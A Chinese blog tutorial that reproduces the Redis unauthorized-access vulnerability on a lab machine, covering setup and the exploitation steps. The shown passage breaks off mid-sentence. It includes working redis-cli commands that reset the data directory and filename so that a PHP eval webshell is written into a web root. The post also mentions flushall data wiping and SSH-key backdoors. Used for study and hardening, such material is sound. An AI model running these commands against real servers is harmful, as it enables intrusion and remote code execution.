Redis未授权访问漏洞复现

一、Redis未授权漏洞成因

1.1 Redis基本简介

Redis 是一个开源(BSD许可)的,内存中的数据结构存储系统,它可以用作数据库、缓存和消息中间件。 它支持多种类型的数据结构,如 字符串(strings), 散列(hashes), 列表(lists), 集合(sets), 有序集合(sorted sets) 与范围查询, bitmaps, hyperloglogs 和 地理空间(geospatial) 索引半径查询。 Redis 内置了 复制(replication),LUA脚本(Lua scripting), LRU驱动事件(LRU eviction),事务(transactions) 和不同级别的 磁盘持久化(persistence), 并通过 Redis哨兵(Sentinel)和自动 分区(Cluster)提供高可用性(high availability)。

1.2 Redis未授权漏洞

默认情况下Redis是绑定在0.0.0.0:6379上的,且默认是没有密码的,如果憨憨运维没有在上线服务的时候限制访问端口与配置密码则会使我们从外网直接连接redis服务器进行操作。

1.3 漏洞危害

  1. 攻击者连接服务器操作服务器数据,或者直接flushall清空数据,emmmmm…三年起步。
  2. 在受害端留下后门
  3. 通过ssh密钥直接登录受害者系统

二、环境搭建

2.1 安装redis环境

  1. 执行以下命令下载源码包
    wget http://download.redis.io/releases/redis-2.8.17.tar.gz
  2. 解压源码包
    tar -zxvf redis-2.8.17.tar.gz
  3. 进入源码包路径
    cd ./redis-2.8.17
  4. 创建makefile
    make
  5. 进入src目录
    cd src
  6. 复制客户端与服务端文件到环境变量目录
    cp redis-server /usr/bin
    cp redis-cli /uer/bin
  7. 进入上一级目录
    cd ..
  8. 复制配置文件到/etc
    cp redis.conf /etc/

2.2 启动redis

redis-server /etc/redis.conf
使用/etc/redis.conf启动redis服务器
在这里插入图片描述
出现上图则表示启动成功

2.3 漏洞成立条件

  1. redis绑定在0.0.0.0:6379上
  2. redis未设置密码
  3. 防火墙没有严格过滤到达redis的流量

三、复现

3.1 连接redis

条件有限,我使用我的centos在同一台机器上做演示,我当前机器的ip为192.168.248.176
redis-cli -h 192.168.248.176 -p 6379

参数 含义
-h 指定要登录的主机地址
-p 指定redis服务端口,redis服务的端口默认绑定6379,但可以在redis.conf通过port选项更改

在这里插入图片描述
可以看到我们成功得进入到了redis服务器,这里由于我是在一台机器上演示所以使用了环回地址,同时我的redis是开了密码验证的,所以使用了auth password来配置密码,这不影响我们的试验,原理都是一样的。

3.1 webshell

在redis客户端输入

127.0.0.1:6379> config set dir /var/www/html/ #设置webshell的存储目录
127.0.0.1:6379> config set dbfilename system.php # 设置webshell的文件名
127.0.0.1:6379> set shell "\r\n\r\n<?php @eval($_POST[cmd]);?>\r\n\r\n" #将一句话木马写入system.php中
127.0.0.1:6379> save #保存

从上面的命令中我们可以看出要想成功写shell我们的redis登录用户需要拥有对网站目录的写权限。
在这里插入图片描述
我们去到网站根目录查看是否

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值